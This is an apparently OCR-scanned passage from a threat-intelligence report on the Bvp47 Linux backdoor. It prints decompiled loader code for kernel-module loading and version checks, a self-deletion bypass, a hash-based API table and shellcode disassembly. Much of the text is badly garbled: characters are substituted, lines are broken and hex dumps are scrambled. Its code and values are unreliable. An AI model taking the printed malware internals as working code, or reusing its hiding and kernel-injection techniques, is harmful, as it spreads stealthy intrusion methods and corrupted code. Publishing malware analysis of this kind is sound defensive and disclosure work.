® 128 if ( !serial_bind_©x4743c911_xor(g_elf_buf, g_elf_len) )
® 129 goto LABEL_S;
® 130 g_elf_decode = 1;
131 }
®132] v3 = serial_elf_getbaseinfo(info, g_elf buf, g_elf_len);
®133 if ( lv3)
134 {
® 135 v3 = serial_Bwp_sizeof(info, vi1e2, v123);
® 136 iF( 3 )
137 {
® 138 v3 = -1;
® 139 vil7 = @;
® 140 v11l8 = @;
® 141 v5 = serial_bind_OxaB8al6d65_xcode(buffer, “gmr", 5);// @H—1HHEEHR
® 142 vi2e = @;
® 143 v119 = @;
® 144 v6 = Vv5;
® 145 if ( v5 )
146 {
® 147 v7 = (int (__cdecl *)(int *, _DWORD, int))ELF_API_©x08052A48;
® 148 v8 = serial_bind_@xaB8al6d65_xcode(dst, "Bvp_offsetof__CzZmodule_ Mname", 32);
® 149 v3 = v7(&v120, @, v8);
® 150 iF L Iva )
151 {
® 152 v9 = (int (__cdecl *)(unsigned int *, _DWORD, int))ELF_API_86x©B852A48;
® 153 vle = serial_bind_exaB8al16d65_xcode(viee, “Bvp_const__MODULE_NAME_LEN", 28);
® 154 v3 = vo(&v119, @, v1e);
® 155 if ( !v3 )
156 {
® 157 if ( v120 == =1 || v119 == -1 )
158 {
® 159 v1ll = vi1e4;
160 }
161 else
162 {
® 163 vll = v1e4;
® 164 v12 = *(_DWORD *)(v1@4 + 40 * vies + 16) + v103;
® 165 if ( 1®(_BYTE *)(v12 + vi20) )
166 {
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6. Verify the distribution:

9 W SErlal_U1n0_vXasalbins_XCOOe|view, DVP_CONST_ MULULE_NAME_LEN , &5);
v3 = vo(lvild, 0, vie);
iF [ 1vi )

iF ( vize == -1 || vi19 == .1 )

99 4+ ag * + 16) + H
'
=4y(int, int, unsigned int))8strncpy_._)(vi2o + vii, vé, vilg);
wil + 48 * v187 + 20);
1 = ;l\.rhl[ h_\nd _8xaBalEd65_xcode(vad, "vermagic®, 18);
=9
- ft)(int))Estrlen_. )(
=" + 48 * V18T + 16) +
if ( Iy

gote LABEL a1;
do

{
iF ( 1(*(int ( **)(int, int, int))Bstencmp_._)(v1s, vi3, via) )
{

ar *J{vis + vid + 1);
vi5 + vid4) I= 61 )}

15, &v119});

}
while { vi5 );

if { lstremp(

~eB6dd99a33cbodf96e793518T659746f B cIdPac 3941387 115aTdS8d7A006E5ab0C449d620a35¢865a133dFF ) }// HIWMITAEA

I

serial_bind_@xbf3ldsc2_memset(vica, @);
serial_bvp_config (};
if ( vz )

zerial hind Bx?gs?}eﬂ' memﬂoue( on, 89);
JELF_API_@x@2852048;
"Bvp_config_ CONFIG_MODVERSIONS", 32);

17 = {int ( *)ir :,
8 = serial_bind_@xaBal6des, xcode(vis,
vi7(8v117, @, v18);
i f lua )

i
1F { vii7 == 1)
{

Linux version (bhcompile@decompose. build. redhat.com) ( version 3.4.3 20050227 (Red Hat 3.4.
Linux version 2.6. . (bhcompile@porky.build. redhat.com) ( version 3.4.4 200856721 (Red Hat 3.4.4-2)
Linux version 2.6. . (bhcompile@ghs28-bc1-7.build. redhat.com) ( version 3.4.5 200851201 (Red Hat 3.4.5-2))
Linux version 2.6. . (bhcompileghs2@-bcl-1.build. redhat.com) ( version 3.4.6 20060484 (Red Hat 3.4.6-2))
Linux version 2.6. o (brewbuilder@ls2@-bc2-14.build. redhat.com) ( version 3.4.6 20060484 (Red Hat 3.4.6-3))
Linux version 2.6. .EL (brewbuilder@ls2@-bc1-14.build. redhat.com) ( version 3.4.6 20060404 (Red Hat 3.4.6-8))
Linux version (brewbuildenr@hs28-bc2-3.build. redhat.com) ( version 3.4.6 20060484 (Red Hat 3.4.6-10))
Linux version (mockbuild@hs2@-bc1-2.build. redhat.com) ( version 3.4.6 20060484 (Red Hat 3.4.6-11))

3-22))
)

3.
4.

Linux version -11.ELsmp (bhcompile@decompose.build. redhat.com) ( version 3.4.3 20050227 (Red Hat 3.4.
4-

3-22))

Linux version -22,ELsmp (bhcompile@porky.build.redhat.com) ( version 3.4.4 20050721 (Red Hat 3.4.4-2))

Linux version bcl-7.build. redhat. com) ( version 3.4.5 20051201 (Red Hat 3.4.5-2))

Linux version version 3.4.6 20060404 (Red Hat 3.4.6-2))

Linux version 2 9.1@.ELsmp (brewbullder@hsze ~bc1-5.build. redhat.com) ( version 3.4.6 20060484 (Red Hat 3.4.6-3))
Linux version -42.0.10.ELsmp (brewbuilder@ls2@-bcl-14.build. redhat.com) ( version 3.4.6 20060404 (Red Hat 3.4.6-3))
Linux version -55.ELsmp (brewbuilder@ls2@-bc2-14.build. redhat.com) ( version 3.4.6 20060484 (Red Hat 3.4.6-3))
Linux version 7.ELsmp (brewbuilder@ls2@-bcl-14.build. redhat.com) ( version 3.4.6 20060484 (Red Hat 3.4.6-8))
Linux version -78.ELsmp (brewbuilderghs2@-bc2-3.build.redhat.com) ( version 3.4.6 20060404 (Red Hat 3.4.6-19))
Linux version 2. -89.ELsmp (mockbuildg@hs2@-bcl-2.build.redhat.com) ( version 3.4.6 20060484 (Red Hat 3.4.6-11))

Beijing Qi An Pangu Laboratory Technology Co., Ltd |



8. Check 2:

v18 = serial_bind_8xaBal6d65_xcode(v85, "Bvp_config_ CONFIG_MODVERSIONS", 32);
v3 = v17(&v117, @, vi8);

if ( Iv3 )

{

if ( vi17 == 1)
{
vi19 = @;
vi2e = @;
vi2l = @;
vi22 = @;
v34 = serial_bind_eéxa8al6d65_xcode(v95, "Bvp_modversion__", 1B);
v35 = (int (__cdecl *)(unsigned int *, _DWORD, int))ELF_API_0x88052A40;
vBa = v34;
v36 = serial_bind_exaBal6d65_xcode(v96, "Bvp_sizeof__zZmodversion_info", 31);
v3 = v35(&v119, @, v36);
if ( v3 )
goto LABEL_S;
v37 = (int (__cdecl *)(int *, _DWORD, int))ELF_API_8x08052A48;
v38 = serial_bind_@xaBal6d65_xcode(v97, "Bvp_offsetof__CzZmodversion_info__Mname"”, 41);
v3 = v37(&v120, @, v38);
if ( v3 )
goto LABEL_5;
v39 = (int (__cdecl *)(int *, _DWORD, int))ELF_API_ox88852A40;
v4@ = serial_bind_oxaBalede5_xcode(v98, "Bvp_offsetof__CzZmodversion_info__Mcrc”, 40);
v3 = v39(&v121, @, v4@);
i v3)
goto LABEL_S;
if ( v119 I= -1 && vi2@ l= -1 &8 vi21 I= -1 )
{
va4l vied + 40 * v1es;
v42 *(_DWORD *}(v41 + 16) + v183;
v43 *(_DWORD *)(v4l + 20) [/ v119;
if ( v43 )
{
do

{

v73

v43;

v44 = v42 + v3 * y119;

v7l v44 + v120;

((void (__cdecl *)(char *, _DWORD))serial_bind_exbf3146c2_memset)(viee, @);

(*(void (__cdecl **){char *, int, int))&strcpy_._)(vlee, vie, 128);

(*(void (__cdecl **){char *, int))&strcat_._){viee, v71);

((void (__cdecl *)(int *, _DWORD, char *))ELF_API_Ox88852A40)(&v122, ©, v100);

v43 = v73;

v45 = (_DWORD *)(v121 + v44);

if ( *v45 |= @x1DCEGSAE
goto LABEL_41;

+v3;

*v45 = yv122;

}
while ( v73 > v3 );
}
}
}
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9. Parameter verification 1 when the kernel module is loaded:

WILE | VIS B VE G
¥

vid ® {int {__cdecl *){int °, DwoRD, int))ELF_APE_nbe0siaeb;

v28 = serial_bind_Gusbaléds wcode(vi7, Bvp_oifsetef_Ceimodule_minit”, 32}
vl = vINAVIIA, 8, v2e)s

i [ 1v)

i

Wil = {_OWORD *){vidd » 49 * vids);

viz = (7

¥iwelg

1F ( v22 ¢ *(untigned _SAT16 *)(vi3 + a3}
&8 (*{ e ':{rmnv&l'vu-!)li} =0
12 21[5] o= Bfu )

VI3 w v21[4] & vie3;
AF [ *(_DWORD *Jvi3 ss 6O BE *(_SYTE *}vi} & 4) sa 1)

*{_DwoRD *}23 & vI1E;

vad = int {_cdecl *Y(int *, _OWORD, 1nt))ELF_APT_SueB052A4a;

Vil = 8

V116 w 8}

25 = serial_bind_SuaBalsdss_rcode(:55, “Bvp_sym_devers_is_allowed”, 28);
if ( vas(bvazz, @, vas) )

i
vis = serial_bind tmaka1ds_scode(vse, “Bve_sym_syn_afver_devees is_allowrd”, 38);
4F ¢ ({int (_cdecl *)int °, _DWORD, int))ELF_APT_GebiSiade)(Bviii, @, vis) )

Bote LABEL
[LE S ES  )

woto LABEL 41;
va? ® (int {_cdecl “}{int *, _{wORD, Int))ELF_APT_SwhioSirde;
vif = yerial_bind_GoaSal6dés_rcodelv37, “Bve wesk_sym_lockep sddress”, 38);
1f { vIT(Rv120, @, vIE) )
gote LABEL_41;
Va9 = v120)

gota LABEL_41;
¥38 & 121}
vI0 = v122}
vil = serial bind GaSalGdes_xcode(v58, “Rseklu NssRelx NsaRelx NseRelx Nsa%alx RasXelx", 48);
| $#{ (*(ne {_cdeel **)(char *, int, int, const char °, int, const char %, 7F, comst char *, int, const char %, int, const char %, fnt, ecast char 4, int)Msnpr
wBl,
1024,
v,
“imlas”,
x,
"quizlbapbrdn”,
v,
“rdhzvatnab”,
v,
“ihRCar®,
v,
iR SO,
W
_ “HeGNadrdvVe™,
ny myc ) f RETRENERORAE
»ay woto LABEL_41;

IRBBT Hean aardal bame 30T dARRSAL

10. Parameter verification 2 when kernel module 2 is loaded:

LAFEL_81;

Vo3 = (int [ cdecl *J{int *, _wORD, int))ELF_APT_Br0BOS2040;
vEE W ﬂrhl_han_anﬂm xeode(voe, "Bvp_sym___ loremap”, 20);
AF  vE9(Ev113, @, vee) )

goto LABEL_41;
!f( vils wm 1 )

@oto LABEL a1
wil = (int (_ cdecl *){int *, DWORD, int))ELF_API_Sx@B651A48;
v62 = serial_bind_OxaBa16d68_xcode(v91, "Bvp_syn_module_alloc®, 23);
if ( v61(8v112, @, w62} )

goto LABEL_a1;
AF ( V112 W -1 )

Eoto LABEL_41;
vE3 = (int (__cdecl *}(int *, DWORD, int))ELF_APT_Sn@8852A48;
vé4 = serial_bind_OxaB216d€5_xcode{v92, "Bvp_sym_module_free”, 22);
if ( ve3(Bvill, O, vid) )

vis = (dnt [__ :deel “){int *, _DWORD, ln())iLF_API_MM
ve6 = serial_bind_Oxafia16des_xcode(val, “Hvp_const_ PAGE_OFFSET™, 24);
if ( ws(luus 8, vbs) )
BoTO LAREL_41;
Vb7 = vile;
AF ( vile == -1 )
EOT0 LABEL_a1;

ved = viilg
VIS = vilag
V72 = w1123
VT4 = w113
vIT & w115
V76 ® v116;
v7s = w1175
vES = 'urh!._,bin# OxaBaledss_xcode(

" hlﬁlh: Ks=Xalx %s=Xaly Xs=Xalx Ns=Kalx Ns=Xalx Ns=Xale Ns=Balx",

2F ( (*(int {__cdecl **}(char *, unsigned int, int, const char =, int, const char *, int, const char *, int, const char =, int, const
EvB1[v51 - 1],
mm -~ V1 S 1),

'n!:npuqu
¥i5,
‘IT:IQIIIIE‘,
) ¥T,
a2 “walujddi”®,
403 VT,
o “DlsDricsha”,
45 v7R,
46| ~xIPETKRAZE" ,
47| VT,
4 “SHrTYQNSOS ",
A ¥72,
410 b ¥
411 vEE,
412 “zbMTHZ",
413 vET) € 8 ) /7 RENEHeRlE
414 €
415LABEL_41:
» 416 vie-1;
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11. Finally start loading the kernel modules:

—an Wowe T

417 goto LABEL_S;

418 }

419 }

420 va48 = (*(int (__cdecl **)(int, int, char *))&init_module_._)(v182[®], v182[1], vB1);
421 v49 = *(_DWORD *)(*(int (**)(void))& errno_location_._)();
422 if (vas =1 || va48 I= -1)

423 v3 = v49;

424 1

425 }

426 }

427 }

428 }

Ann L

W A Bypass Method for Self-Deletion

There are two calls to the unlink function in the main function. During the actual debugging process, the
process can be violently modified to bypass the self-deletion of unlink:

ILUAL . YOU“4DOZJ 0

xrefs to unlink_ O X F
Directic Ty Address Text
Up p serial mkstemp+3C call near ptrunlink .
Up p main+11B call near ptrunlink_._
p main+366 near ptr unlink_._
p main+37B call near ptrunlink_._
D.. p main+9E2 call near ptrunlink_._
D.. p main+9F3 call near ptrunlink_._
D.. p sub 804D590+73 call near ptrunlink_._
D.. p sub 804DB60+35 call near ptrunlink .
D.. p sub 804E1A0+8&F call near ptrunlink_._
D... p sub 804E660+221 call near ptrunlink_._ E-
D... p sub 805B9B0+246 call near ptrunlink_._
D.. o LOAD:off 8063200 dd offset unlink_.field 6 B
Line 3 of 12 i
‘ 0K | ‘ Cancel ‘ ‘ Search ‘ ‘ Help

W Hash-Based API Function Call

During the running process of Bvp47, a API function lookup table based on Hash value will be made.
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1. The Hash table looks like following;

Address Length Type String
LOAD:08060... 00000009 C 9a98cf3e
LOAD:08060... 00000009 C 29b5e7f0
LOAD:08060... 00000009 C 97413c51
LOAD:08060... 00000009 G 3955ced4
LOAD:08060... 00000009 G 278dec7a
LOAD:08060... 00000009 @ dleb34ee
LOAD:08060... 00000009 C 191eabd2
LOAD:08060... 00000009 (@ 4b6c29bf
LOAD:08060... 00000009 @ 78f2b4db4
LOAD:08060... 00000009 G 1e30bdo4
LOAD:08060... 00000009 G da78b246
LOAD:08060... 00000009 C 8bdfc33f
LOAD:08060... 00000009 C 1a7a7356
LOAD:08060... 00000009 @ 8c27e8f7
LOAD:08060... 00000009 € 92e5c0d8
LOAD:08060... 00000009 C 2cd7cd5e
LOAD:08060... 00000009 C 1bd919bb
LOAD:08060... 00000009 C dOc6bfeb
LOAD:08060... 00000009 C 90bff64c
LOAD:08060... 00000009 G 531ab53f
LOAD:08060... 00000009 G c949df79
LOAD:08060... 00000009 @ 3bcaaa8c
LOAD:08060... 00000009 C 19282364
LOAD:08060... 00000009 (@ ad776cf9
LOAD:08060... 00000009 @ 0e56f7ab
LOAD:08060... 00000009 G b219d9%e5
LOAD:08060... 00000009 G 68cab24f
LOAD:08060... 00000009 C b064f130
LOAD:08060... 00000009 C 388b7075
LOAD:08060... 00000009 @ 7bbf2c88
LOAD:08060... 00000009 € e6342921
LOAD:08060... 00000009 C bfdc5cb1
LOAD:08060... 00000009 C 628daa78
LOAD:08060... 00000009 C 43f710cc
LOAD:08060... 00000009 C 7ba772b8
LOAD:08060... 00000009 G 59422101
LOAD:08060... 00000009 G 25b78822
LOAD:08060... 00000009 @ A47c2cb27
LOAD:08060... 00000009 C 89436336
LOAD:08060... 00000009 (@ 7f4931b8
LOAD:08060... 00000009 @ f265883c
LOAD:08060... 00000009 G 5b19bf75
LOAD:08060... 00000009 G 44624440
LOAD:08060... 00000009 C c767b324
LOAD:08060... 00000009 C e7aB87594
LOAD:08060... 00000009 @ €a895d08
LOAD:08060... 00000009 € 10227454
LOAD:08060... 00000009 C 2e78d32a
LOAD:08060... 00000009 C 500b288d
LOAD:08060... 00000009 C 35ed46eb
LOAD:08060... 00000009 C 9d2e940a
LOAD:08060... 00000009 G 9a79al116
LOAD:08060... 00000009 G 37d03e4a
LOAD:08060... 00000009 @ 3d8cec3c
LOAD:08060... 00000009 C bebff213
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2. Attempt to initialize in the sub_804C2EOQ function

WML DO L LY
-0AD:@804C2E0
-0OAD:@804C2EQ
-OAD:@804C2E1
-OAD:@804C2E3
_OAD:e804C2E6
-0OAD:@804C2EE
-DAD:@804C2F6
-DAD:@804C2FD
-DAD:e8e4C3282
-0OAD:e8e4C3e3
-0OAD:e8e4C3e3
-0OAD:e8e4C3e3

sub_884C2E@

sub_864C2E@

proc near
push ebp

mov ebp, esp

sub esp, 18h

mov. dword ptr [esp+8], 78h ; 'x°'
mov

mov

call serial_bind_ex7bbf2c88_
leave

retn

endp

; CODE XREF: sub_8@4A150:1oc_884A2C81p

3

dword ptr [esp+4], offset g_bind_list ; vy
dword ptr [esp], offset xx ; x

3. Further initialization in serial_bind_0x7bbf2c88  function

LUAL I gsusLAFY
LOAD: @885CAF1
LOAD:8805CAF6
LOAD :@885CAFS
LOAD : @8@5CAFS
LOAD:B805CAFA
LOAD : @885CAFB
LOAD : @885CAFE
LOAD: @8e5CBe1
LOAD:@885CB04
LOAD : @885CBa7
LOAD:@805CB8%
LOAD:@805CBEB
LOAD : @8@5CBaD
LOAD: @8@5CBeF
LOAD:@885CB11
LOAD:@885CB13
LOAD: 8885CB15
LOAD:@8@5CB17
LOAD:828@5CB19
LOAD:8805CB19
LOAD:@885CB19
LOAD:@8@5CB1B
LOAD: @885CB1B
LOAD:@885CB1D
LOAD:@805CB28
LOAD:@805CB28
LOAD:@805CB26
LOAD:@805CB23
LOAD:8805CB26
LOAD:@885CB28
LOAD:@805CB2A
LOAD: @885CB2A
LOAD:@885CB2A
LOAD:@3@5CB2A
LOAD:8805CB2D
LOAD:@805CB38
LOAD : @8@5CB33
LOAD: @885CB35
LOAD:@885CB37
LOAD:@885CB3A
LOAD:@885CB3D
LOAD:@805CB48
LOAD: ©805CB45
LOAD:8805CB48
LOAD:@885CB4B
LOAD: @8@5CB58
LOAD: @885CB53
LOAD:@885CB56
LOAD: @8@5CB59
LOAD:@885CBS5F
LOAD:@885CB61

25
B8
89
57
56

&3
8B
8B
8B
85
74
85
74
85
74
8B
85
74

31
EB

8D

83
83
39
76

8B
83
83
77
8B
83
89
89
E8
8B
89
B8
7
8B
c1
69
29
89

FF
ES

EC

5D
/0
9

DB
6B
FF
67
1
co
69

F6
eD

76

ce
c3
F7
4E

43
E8
F8
EB
e3
ce

6B

45
73
65
45
EA
D2

c2

FF FF FF

2C
a8

1e

ol
14

es8
el
a1

OF e ee

E6 93 FB
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loc_885CB19:

loc_805CB20:

loc_805CB2A:

| www.pangulab.cn

pusn eop
mov eax, @FFFFFFFFh
mov ebp, esp
push edi
push esi
push ebx
sub esp, 2Ch
mov ecx, [ebp+x]
mov ebx, [ebp+y]
mov edi, [ebp+z]
test ecx, ecx
3z short loc_8@5CB7A
test ebx, ebx
jz short loc_8@SCB7A
test edi, edi
jz short loc_8@SCB7A
mov eax, [ecx]
test eax, eax
jz short loc_8@5CB82
s P ;
xor esi, esi
imp short loc_8@5CB2A
align 18h
H
add esi, 1
add ebx, 14h
cmp edi, esi
jbe short loc_8@SCB78
H
mov eax, [ebx+8]
sub eax, 1
cmp eax, 1
ja short loc_8@5CB20
mov eax, [ebx]
add esi, 1
mov [ebp+var_2@8], ecx
mov [esp], eax 3
call sub_86SDABSe
mov ecx, [ebp+var_20]
mov [ebp+var_1C], eax
mov eax, @FB93E673h
mul [ebp+var_1icC]
mov eax, [ebp+var_1C]
shr edx, 9
imul edx, 209h
sub eax, edx
mov edx, eax

CODE XREF:

CODE XREF:

serial_bind_@x7bbf2c88_+AFlj

serial_bind_@x7bbf2c88_+431j

CODE XREF: serial_bind_ex7bbf2c88_+2Bt1j
serial_bind_6x7bbf2c88_+85.7

str

stext

54



Pseudo C code:

1[int __cdecl serial_bind_ex7bbf2c88_(int x, int y, int z)
2k
3| int result; // eax
4| int v4; // ecx
5| int v5; // ebx
6| unsigned int ve; // esi
7| unsigned int v7; // eax
8| int v8; [/ eax
9| _BOOL1 v9; [/ =zf
10| _DWORD *vie; f/ [esp+18h] [ebp-28h]
2E
P 12| result = -1;
P13 v4 = x;
D14l v5 = y;
p1s| if ( x )
16 {
b17 if § ¥5)
18
P19 if (z)
20| {
p21 if ( *(_DWORD *)x
22 || (v8 = serial_bind_ex227ffec5_calloc(2084), v4 = x,
23 v = v8 == @,
24 *(_DWORD *)x = v8,
25 result = @xDepees13,
26 1va) )
27 {
b 28 ve = 8;
29 do
30| {
b 31 while { (unsigned int)(*(_DWORD *)(v5 + 8) - 1) > 1)
32 {
b33 VB
b 34 Vs += pe;
b 35 if ( z <= v6 )
k36 goto LABEL_9;
37 }
b 3g +4VE}
b 39 vie = (_DWORD *)v4;
b 40 v7 = sub_8@5DABO(*(char **)v5);
B4l vd = (int)v1e;
b 42 *(_DWORD *){v5 + 12) = *(_DWORD *)(*v18 + 4 * (v7 % Ox209));
p43 *(_DWORD *)(*v18 + 4 * (v7 % ©x209)) = v5;
b a4 V5 += 20;
45
b 46 while ( z > vé );
47|LABEL_9:
b 48 result = 8;
49 }
se }
51 }
52| }
b 53| return result;
b 54}
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W A Part of Shellcode

There are some incomplete encrypted ELF files in the loader module. After decryption, there are several
codes in the form of shellcode.

1. The corresponding ELF header format is defined as follows

LOAD: 88863028 7F 45 4C 46 01 @1 @1 80 9@ 60 80 Be+g elf buf db 7Fh, 45h, 4Ch, 46h, 3 dup(1), 9 dup(®); e_ident
LOAD: 68863026 06 60 00 96 01 60 83 80 o1 09 8o ; DATA XREF:
LOAD:9B863020 60 60 OO DO 90 00 90 90 BO 67 00 DO+ ; serial_bvp+
LOAD: 92863020 00 €0 00 90 34 00 20 00 20 60 2B o0+ dw 1 i e_type
LOAD:282863D20 ©F &0 8B 28 dw 3 ; e_machine
LOAD: 88863028 dd 1 z i
LOAD: 88863028 dd i 3

LOAD: 08863020 dd @ ;

LOAD: @8863D20 dd 7Beh H

LOAD: 88863020 dd @ H

LOAD: 88863020 dw 34h ;e

LOAD: 88863028 dw @ ; e_phentsize
LOAD: ©8863020 dw 8 3 e_phnum
LOAD: 930863028 dw 28h ; e_shentsize
LOAD: 28863020 dw 8Eh ; e_shnum
LOAD : 88863028 dw 88h ; e_shstrodx

LOAD: 88863054 ;

2. Several pieces of shellcode in the middle will jump to each other

LOAD : 88863054

LOAD: @8863D54 shellcode_func_1 prec near

LOAD: 88863054

LOAD: 08863054 var_24 = dword ptr -24h

LOAD : 88863054 var_20 = dword ptr -28h

LOAD : @8863054 var_1C = dword ptr -1Ch
LOAD : 88863054

LOAD: 88863054 55 push ebp

LOAD: 88863055 89 ES mov ebp, esp
LOAD : 88863057 57 push edi
LOAD : 88863D58 56 push esi

LOAD: 88863059 53 push ebx

LOAD: 88863054 83 EC 1C sub esp, 1ch

LOAD: 08863050 6A @1 push s 3

LOAD:©8863D5F FF 35 2C @@ @@ ee push large dword ptr ds:2Ch
LOAD: 88863065 FF 35 38 00 60 &0 push large dword ptr ds:38h
LOAD:@8863D68 FF 35 28 00 6@ @e push large dword ptr ds:2sh
LDAD: 88863071 E8 1C 83 00 00 | call shellcode_func_6
LOAD:@80863076 83 C4 1@ add esp, 18h
LOAD:@8863D79 89 45 DC mov [ebp+var_24], eax
LOAD:@886307C Al 1C @0 6@ @0 mov eax, large ds:1Ch
LOAD: 88863081 85 C@ test eax, eax
LOAD:@8863D83 89 45 E4 mov [ebp+var_1C], eax
LOAD: 88863086 74 &D jz short loc_8@63DFS
LOAD:@808630D88 ALl 18 80 80 @0 mov eax, large ds:18h
LOAD:@8863D8D 85 C@ test eax, eax
LOAD:0806308F 89 45 E@ mov [ebpsvar_28], eax
LOAD: 08863092 74 61 iz short loc_8@63DFS
LOAD: 88863094 Al 14 @0 60 @0 mov eax, large ds:14h
LOAD:@8863099 85 C@ test eax, eax

LOAD: 88863098 74 58 jz short loc_8663DFS
LOAD:©8086309D 8B 15 1@ @@ ee ee mov edx, large ds:leh
LOAD:@8863DA3 85 D2 test edx, edx
LOAD:@8@63DAS 74 4E iz short loc_8@63DFS
LOAD: @8863DA7 8B 8D oC 80 80 80 mov ecx, large ds:ach
LOAD:@88630DAD 85 C9 test ecx, ecx
LOAD:@8863DAF 74 44 iz short loc_8@63DFS
LOAD:888630B1 BB 1D 68 6@ 6@ &8 mov ebx, large ds:8
LOAD:@8263DB7 85 DB test ebx, ebx

LOAD: 880863089 74 3A jz short loc_80663DF5
LOAD:98063DBB 8B 35 @4 €@ @@ ee mov esi, large ds:4
LOAD:88863DC1 B5 F6 test esi, esi
LOAD:@8863DC3 74 38 iz short loc_8@63DFS
LOAD:888630DC5 8B 3D 60 60 80 80 mov edi, large ds:@
LOAD:@88630CB B85 FF test edi, edi
LOAD:@88630DCD 74 26 iz short loc_8@63DFS
LOAD:@88630CF 83 EC @C sub esp, @Ch
LOAD:@88630D2 57 push edi
LOAD:888630D3 56 push esi
LOAD:©80863DD4 53 push ebx
LOAD:888630D5 BB FE FF FF FF mov ebx, @FFFFFFFEh
LOAD:888630DA 51 push ecx

LOAD: 88863008 52 push edx
LOAD : @8863DDC 5@ push eax
LOAD:@88630DDD FF 75 E@ push [ebp+var_28]
LOAD:@88630E@ FF 75 E4 push [ebp+var_1C]

LOAD:@8863DE3 FF 35 @@
LOAD:©88630E9 E8 5A 81

e push large dword ptr ds:@
call shellcode_func_4

88
88
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3. A total of 6 pieces of shellcode

shellcode func 1
shellcode func 2
shellcode func 3
shellcode func 4
shellcode func 5
shellcode func 6

B [ [ [N T
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6. Conclusion

Although the function implementation of the Suctionchar_Agent module is relatively simple, combining
Bvp47_loader and Dewdrop, we can conclude that Bvp47 has a good architectural capability in design,
and attackers can flexibly combine other functional modules to achieve attack targets and reduce exposed
surface of malicious code as much as possible. Although the NSA-sourced attack activities are highly
secretive, through the analysis of forensic materials within the scope of our own data and the in-depth
mining of open source data, we still hope to complete our puzzle and get a glimpse of the operation meth-
ods of the top international hacker teams.
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